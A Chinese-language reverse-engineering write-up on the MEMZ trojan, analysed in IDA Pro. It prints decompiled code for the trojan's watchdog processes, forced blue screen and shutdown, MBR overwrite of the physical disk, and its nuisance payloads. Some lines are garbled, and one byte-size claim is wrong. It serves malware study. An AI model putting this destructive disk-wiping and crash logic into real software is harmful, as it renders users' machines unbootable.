实验工具

实验平台:Hello-CTF-OS

实验工具:IDA Pro

病毒样本名称:geometry dash auto speedhack.exe

MD5:19dbec50735b5f2a72d4199c4e184960

SHA1:6fed7732f7cb6f59743795b2ab154a3676f4c822

实验步骤

运行病毒样本

  1. 打开任务管理器,观察进程情况。

打开任务管理器

  1. 运行病毒样本,观察进程情况。

逆向分析

定位

  1. 查一下文件信息

文件信息

  1. 打开 IDA Pro,导入病毒样本。

  2. 定位到 start 函数,查看伪代码。

伪代码

start 函数分析

1
2
3
4
5
6
dword_405184 = GetSystemMetrics(0); // 获取屏幕宽度
dword_405188 = GetSystemMetrics(1); // 获取屏幕高度
CommandLineW = GetCommandLineW(); // 获取命令行内容
v1 = CommandLineToArgvW(CommandLineW, &pNumArgs);// 把 CommandLineW 转化成一个参数数组,包括命令行所有参数
if ( pNumArgs > 1 ) // v1 指向该函数,用于访问命令行参数
//...其他代码...

变量说明:
v1 参数数组,可以访问命令行所有参数
pNumArgs 参数个数

根据 pNumArgs 和 v1 的内容可以把 start 函数分为三个部分:

  1. watchdog 部分

  2. main 部分

  3. 无参数部分

双击运行病毒样本,首先运行的是无参数部分

无参数部分分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 前面的代码
if (MessageBoxA(
0,
"The software you just executed is considered malware.\r\n"
"This malware will harm your computer and makes it unusable.\r\n"
"If you are seeing this message without knowing what you just executed, simply press No and nothing will happen."
"\r\n"
"If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n"
"\r\n"
"DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?",
"MEMZ",
0x34u) == 6 &&
MessageBoxA(
0,
"THIS IS THE LAST WARNING!\r\n"
"\r\n"
"THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n"
"STILL EXECUTE IT?",
"MEMZ",
0x34u) == 6)
// 后面的代码

很明显这是两次弹窗的内容

Message BoxA 是 Windows API 中的一个函数,用来弹出一个对话框。如果用户点击“是”,返回值 6

代码继续执行的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u);
GetModuleFileNameW(0, v10, 0x2000u);
v11 = 5;
do
{
ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10);
--v11;
}
while ( v11 );
pExecInfo.cbSize = 60;
pExecInfo.lpFile = v10;
pExecInfo.lpParameters = L"/main";
pExecInfo.fMask = 64;
pExecInfo.hwnd = 0;
pExecInfo.lpVerb = 0;
pExecInfo.lpDirectory = 0;
pExecInfo.hInstApp = 0;
pExecInfo.nShow = 10;
ShellExecuteExW(&pExecInfo);
SetPriorityClass(pExecInfo.hProcess, 0x80u);
}

创建了 5 个命令行参数为 /watchdog 的进程,和 1 个命令行参数为 /main 的进程。在病毒文件执行的时候可以看到这 6 个进程。

到此无参数部分分析完毕。

watchdog 部分分析

函数名是看门狗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( !lstrcmpW(v1[1], L"/watchdog") )
{
CreateThread(0, 0, sub_40114A, 0, 0, 0);
pExecInfo.lpVerb = (LPCWSTR)48;
pExecInfo.lpParameters = (LPCWSTR)sub_401000;
pExecInfo.hIcon = (HANDLE)"hax";
pExecInfo.lpFile = 0;
memset(&pExecInfo.lpDirectory, 0, 28);
pExecInfo.hProcess = 0;
RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);
CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
while ( GetMessageW(&Msg, 0, 0, 0) > 0 )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}

创建了一个线程,并在线程中调用了 sub_40114A 函数。还出现了sub_401000 函数

sub_40114A 函数分析

跟进函数看看里面发生了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __stdcall __noreturn sub_40114A(LPVOID lpThreadParameter)
{
HANDLE CurrentProcess; // eax
HANDLE Toolhelp32Snapshot; // edi
const CHAR *v3; // ebx
int v4; // esi
PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch] BYREF
LPCSTR lpString1; // [esp+238h] [ebp-10h]
int v7; // [esp+23Ch] [ebp-Ch]
LPCSTR lpString2; // [esp+240h] [ebp-8h]
HANDLE hObject; // [esp+244h] [ebp-4h]

v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
CurrentProcess = GetCurrentProcess();
GetProcess../img/CyberSecurity/5-cat/imageFileNameA(CurrentProcess, lpString1, 512);
Sleep(0x3E8u);
while (1) // 死循环
{
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0); // 获取进程快照
pe.dwSize = 556;
Process32FirstW(Toolhelp32Snapshot, &pe);
v3 = lpString1;
v4 = 0;
do // 遍历进程列表
{
hObject = OpenProcess(0x400u, 0, pe.th32ProcessID);
lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
GetProcess../img/CyberSecurity/5-cat/imageFileNameA(hObject, lpString2, 512);
if (!lstrcmpA(v3, lpString2)) // 如果进程名相同,v4+1
++v4;
CloseHandle(hObject);
LocalFree((HLOCAL)lpString2);
} while (Process32NextW(Toolhelp32Snapshot, &pe));
CloseHandle(Toolhelp32Snapshot);
if (v4 < v7) // 如果进程数v4<v7,执行`sub_401021`函数
sub_401021();
v7 = v4;
Sleep(0xAu);
}
}

首先是一个 while(1)死循环,首先获取系统快照,然后遍历快照每一个进程,比较进程名字是否相同,如果相同,v4+1。如果 v4<v7,则调用sub_401021函数。

总的来说,这个函数是用来监控系统进程的变化,可以检测无参数部分开启的进程是否被关闭。如果检测到少于 6 个进程,则调用sub_401021函数。

sub_401021 函数分析

继续看看sub_401021函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
BOOL __usercall sub_401021 @<eax>(int a1 @<ebp>)
{
int v1; // esi
int v2; // esi
HMODULE LibraryA; // edi
FARPROC RtlAdjustPrivilege; // ebx
FARPROC NtRaiseHardError; // eax
void(__cdecl * v6)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // esi
HANDLE CurrentProcess; // eax
int v9; // [esp-20h] [ebp-28h]
struct _TOKEN_PRIVILEGES v10; // [esp-18h] [ebp-20h] BYREF
int v11; // [esp-8h] [ebp-10h] BYREF
HANDLE v12; // [esp-4h] [ebp-Ch] BYREF
int v13; // [esp+0h] [ebp-8h] BYREF
int v14; // [esp+4h] [ebp-4h]

v1 = 20;
do // 循环创建20个进程,随机出现在屏幕任意位置
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(0x64u);
--v1;
} while (v1);
v2 = v14;
v14 = a1;
v9 = v2;
LibraryA = LoadLibraryA("ntdll");
RtlAdjustPrivilege = GetProcAddress(LibraryA, "RtlAdjustPrivilege");
NtRaiseHardError = GetProcAddress(LibraryA, "NtRaiseHardError");
v6 = (void(__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtRaiseHardError;
if (RtlAdjustPrivilege && NtRaiseHardError) //触发蓝屏
{
((void(__cdecl *)(int, int, _DWORD, char *, int, int))RtlAdjustPrivilege)(19, 1, 0, (char *)&v13 + 3, v13, v9);
v6(-1073741790, 0, 0, 0, 6, &v11);
}
CurrentProcess = GetCurrentProcess();
OpenProcessToken(CurrentProcess, 0x28u, &v12);
LookupPrivilegeValueW(0, L"SeShutdownPrivilege", &v10.Privileges[0].Luid);
v10.PrivilegeCount = 1;
v10.Privileges[0].Attributes = 2;
AdjustTokenPrivileges(v12, 0, &v10, 0, 0, 0);
return ExitWindowsEx(6u, 0x10007u); // 关闭系统,退出Windows,关机/重启
}
  1. 创建 20 个进程,随机出现在屏幕任意位置

  2. 使用RtlAdjustPrivilege函数提升权限,调用NtRaiseHardError函数触发蓝屏

  3. 使用SeShutdownPrivilege权限关闭系统,退出 Windows,关机/重启,所以在此处调用sub_401021函数,监控系统中 6 个进程是否被关闭,如果被关闭,则关闭系统,退出 Windows,关机/重启。

sub_401000 函数分析
1
2
3
4
5
6
7
8
9
LRESULT __stdcall sub_401000(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
int savedregs; // [esp+0h] [ebp+0h] BYREF

if ( a2 != 16 && a2 != 22 ) //只处理16或22的消息
return DefWindowProcW(a1, a2, a3, a4);
sub_401021((int)&savedregs);
return 0;
}

函数只处理了 16 和 22 的消息,其他消息返回 0,并调用sub_401021函数。

在此处调用sub_401021函数,可以检测到用户是否主动关机/重启,如果用户主动关机也会执行该函数

所以,watchdog 部分的功能是监控进程状态和用户是否主动关机,如有发现,立即进入sub_401021函数,执行最后操作

main 部分分析

main 函数是核心部分,首先打开物理磁盘覆盖 MBR,达到开机执行彩虹猫的效果,另一块是运行病毒出现的各种现象

物理磁盘覆盖 MBR

MBR 是一个引导程序,引导加载操作系统,所以需要覆盖掉 MBR,达到开机执行彩虹猫的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FileA = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
hObject = FileA;
if ( FileA == (HANDLE)-1 )
ExitProcess(2u);
v3 = 0;
v4 = LocalAlloc(0x40u, 0x10000u);
v5 = v4;
do
{
++v3;
*v5 = v5[byte_402118 - v4];
++v5;
}
while ( v3 < 0x12F );
for ( i = 0; i < 0x7A0; ++i )
v4[i + 510] = byte_402248[i];
if ( !WriteFile(FileA, v4, 0x10000u, &NumberOfBytesWritten, 0) )
ExitProcess(3u);
CloseHandle(hObject);

使用 CreateFileA 函数打开主磁盘 PhysicalDrive0,并使用 WriteFile 函数覆盖掉 MBR。

运行病毒出现的各种现象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
if ( v7 == (HANDLE)-1 )
ExitProcess(4u);
if ( !WriteFile(
v7,
"YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
"\r\n"
"Your computer won't boot up again,\r\n"
"so use it as long as you can!\r\n"
"\r\n"
":D\r\n"
"\r\n"
"Trying to kill MEMZ will cause your system to be\r\n"
"destroyed instantly, so don't try it :D",
0xDAu,
&NumberOfBytesWritten,
0) )
ExitProcess(5u);
CloseHandle(v7);
ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);
v8 = 0;
v9 = (DWORD *)&off_405130;
do
{
Sleep(v9[1]);
CreateThread(0, 0, sub_401A2B, v9, 0, 0);
++v8;
v9 += 2;
}
while ( v8 < 0xA );
while ( 1 )
Sleep(0x2710u);
}

创建一个note.txt文件,并写入内容,然后打开note.txt文件

接下来,创建 10 个线程,每个线程执行sub_401A2B函数,该函数会在屏幕上随机出现一些图标,并在图标上显示一些文字。

创建完之后,进入死循环,每 10 秒暂停一次

进入 sub_401A2B 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __stdcall __noreturn sub_401A2B(int (__cdecl **lpThreadParameter)(int, int))
{
int v1; // esi
int v2; // ebx
int i; // edi

v1 = 0;
v2 = 0;
for ( i = 0; ; ++i )
{
if ( !v1-- )
v1 = (*lpThreadParameter)(v2++, i);
Sleep(0xAu);
}
}

传入 v9,每创建一个 v9 就自增 2,v9 是 Double Word,每次自增是增加 8 个字节

1 Word=2 Byte,Double Word = 8 Byte=4 Word

查看 v9 的地址如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.data:00405130 off_405130      dd offset sub_4014FC    ; DATA XREF: start+1F1↑o
.data:00405134 db 30h ; 0
.data:00405135 db 75h ; u
.data:00405136 db 0
.data:00405137 db 0
.data:00405138 dd offset sub_40156D
.data:0040513C db 30h ; 0
.data:0040513D db 75h ; u
.data:0040513E db 0
.data:0040513F db 0
.data:00405140 dd offset sub_4017A5
.data:00405144 db 20h
.data:00405145 db 4Eh ; N
.data:00405146 db 0
.data:00405147 db 0
.data:00405148 dd offset sub_4016A0

从初始地址 00405130 依次自增 2 个 DWORD(即 8 字节)分别变为 00405138、00405140、00405148、00405150、00405158、00405160、00405168、00405170、00405178,每个地址都对应了一个函数:sub_4014FC(初始)、sub_40156D、sub_4017A5、sub_4016A0、sub_4015D4、sub_40162A、sub_401866、sub_401688、sub_4017E9、sub_4016CD。这些函数就是导致电脑出现异常现象的元凶,这里需要逐个的分析每个函数,依次查看这些函数的伪代码

  1. sub_4014FC 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl sub_4014FC(int a1)
{
unsigned int v1; // eax
int v2; // eax

v1 = sub_401A55();
ShellExecuteA(0, "open", (&lpFile)[v1 % 0x2E], 0, 0, 10);
v2 = sub_401A55();
return sub_401B09(
COERCE_UNSIGNED_INT64((double)a1),
HIDWORD(COERCE_UNSIGNED_INT64((double)a1)),
(double)(v2 % 200) + 1500.0 / ((double)a1 / 15.0 + 1.0) + 100.0);
}

该函数使用 ShellExecuteA 随机打开一个文件/网页。双击 lpFile 进入查看。如下所示,可以看到该函数随机打开的网页和文件有哪些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
.data:00405000 lpFile          dd offset aHttpGoogleCoCk
.data:00405000 ; DATA XREF: sub_4014FC+18↑r
.data:00405000 ; "http://google.co.ck/search?q=best+way+t"...
.data:00405004 dd offset aHttpGoogleCoCk_0 ; "http://google.co.ck/search?q=how+2+remo"...
.data:00405008 dd offset aHttpGoogleCoCk_1 ; "http://google.co.ck/search?q=mcafee+vs+"...
.data:0040500C dd offset aHttpGoogleCoCk_2 ; "http://google.co.ck/search?q=how+to+sen"...
.data:00405010 dd offset aHttpGoogleCoCk_3 ; "http://google.co.ck/search?q=minecraft+"...
.data:00405014 dd offset aHttpGoogleCoCk_4 ; "http://google.co.ck/search?q=how+to+get"...
.data:00405018 dd offset aHttpGoogleCoCk_5 ; "http://google.co.ck/search?q=bonzi+budd"...
.data:0040501C dd offset aHttpGoogleCoCk_6 ; "http://google.co.ck/search?q=how+2+buy+"...
.data:00405020 dd offset aHttpGoogleCoCk_7 ; "http://google.co.ck/search?q=how+to+cod"...
.data:00405024 dd offset aHttpGoogleCoCk_8 ; "http://google.co.ck/search?q=what+happe"...
.data:00405028 dd offset aHttpGoogleCoCk_9 ; "http://google.co.ck/search?q=g3t+r3kt"
.data:0040502C dd offset aHttpGoogleCoCk_10 ; "http://google.co.ck/search?q=batch+viru"...
.data:00405030 dd offset aHttpGoogleCoCk_11 ; "http://google.co.ck/search?q=virus.exe"
.data:00405034 dd offset aHttpGoogleCoCk_12 ; "http://google.co.ck/search?q=internet+e"...
.data:00405038 dd offset aHttpGoogleCoCk_13 ; "http://google.co.ck/search?q=facebook+h"...
.data:0040503C dd offset aHttpGoogleCoCk_14 ; "http://google.co.ck/search?q=virus+buil"...
.data:00405040 dd offset aHttpGoogleCoCk_15 ; "http://google.co.ck/search?q=how+to+cre"...
.data:00405044 dd offset aHttpGoogleCoCk_16 ; "http://google.co.ck/search?q=how+to+rem"...
.data:00405048 dd offset aHttpGoogleCoCk_17 ; "http://google.co.ck/search?q=my+compute"...
.data:0040504C dd offset aHttpGoogleCoCk_18 ; "http://google.co.ck/search?q=dank+memz"
.data:00405050 dd offset aHttpGoogleCoCk_19 ; "http://google.co.ck/search?q=how+to+dow"...
.data:00405054 dd offset aHttpGoogleCoCk_20 ; "http://google.co.ck/search?q=half+life+"...
.data:00405058 dd offset aHttpGoogleCoCk_21 ; "http://google.co.ck/search?q=is+illumin"...
.data:0040505C dd offset aHttpGoogleCoCk_22 ; "http://google.co.ck/search?q=montage+pa"...
.data:00405060 dd offset aHttpGoogleCoCk_23 ; "http://google.co.ck/search?q=the+memz+a"...
.data:00405064 dd offset aHttpGoogleCoCk_24 ; "http://google.co.ck/search?q=stanky+dan"...
.data:00405068 dd offset aHttpGoogleCoCk_25 ; "http://google.co.ck/search?q=john+cena+"...
.data:0040506C dd offset aHttpGoogleCoCk_26 ; "http://google.co.ck/search?q=vinesauce+"...
.data:00405070 dd offset aHttpGoogleCoCk_27 ; "http://google.co.ck/search?q=skrillex+s"...
.data:00405074 dd offset aHttpAnswersMic ; "http://answers.microsoft.com/en-us/prot"...
.data:00405078 dd offset aHttpMotherboar ; "http://motherboard.vice.com/read/watch-"...
.data:0040507C dd offset aHttpPlayClubpe ; "http://play.clubpenguin.com"
.data:00405080 dd offset aHttpPcoptimize ; "http://pcoptimizerpro.com"
.data:00405084 dd offset aHttpSoftonicCo ; "http://softonic.com"
.data:00405088 dd offset aCalc ; "calc"
.data:0040508C dd offset File ; "notepad"
.data:00405090 dd offset aCmd ; "cmd"
.data:00405094 dd offset aWrite ; "write"
.data:00405098 dd offset aRegedit ; "regedit"
.data:0040509C dd offset aExplorer ; "explorer"
.data:004050A0 dd offset aTaskmgr ; "taskmgr"
.data:004050A4 dd offset aMsconfig ; "msconfig"
.data:004050A8 dd offset aMspaint ; "mspaint"
.data:004050AC dd offset aDevmgmtMsc ; "devmgmt.msc"
.data:004050B0 dd offset aControl ; "control"
.data:004050B4 dd offset aMmc ; "mmc"

可以看到,该函数打开的网页和文件有很多,而且是随机的。

  1. sub_40156D 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl sub_40156D(int a1, int a2)
{
int v2; // esi
int v3; // edi
int v4; // esi
int v5; // eax
int v7; // [esp-4h] [ebp-18h]
struct tagPOINT Point; // [esp+Ch] [ebp-8h] BYREF

GetCursorPos(&Point);
v2 = a2 / 2200 + 2;
v3 = sub_401A55() % v2;
v4 = sub_401A55() % v2;
v7 = Point.y + v3 * (sub_401A55() % 3 - 1);
v5 = sub_401A55();
SetCursorPos(Point.x + v4 * (v5 % 3 - 1), v7);
return 2;
}

使用 GetCursorPos 获取当前屏幕的鼠标位置,然后在一定范围内随机取值,使用 SetCursorPos 设置新的鼠标位置,造成屏幕上鼠标抖动的现象。

剩下的就不一一列举了。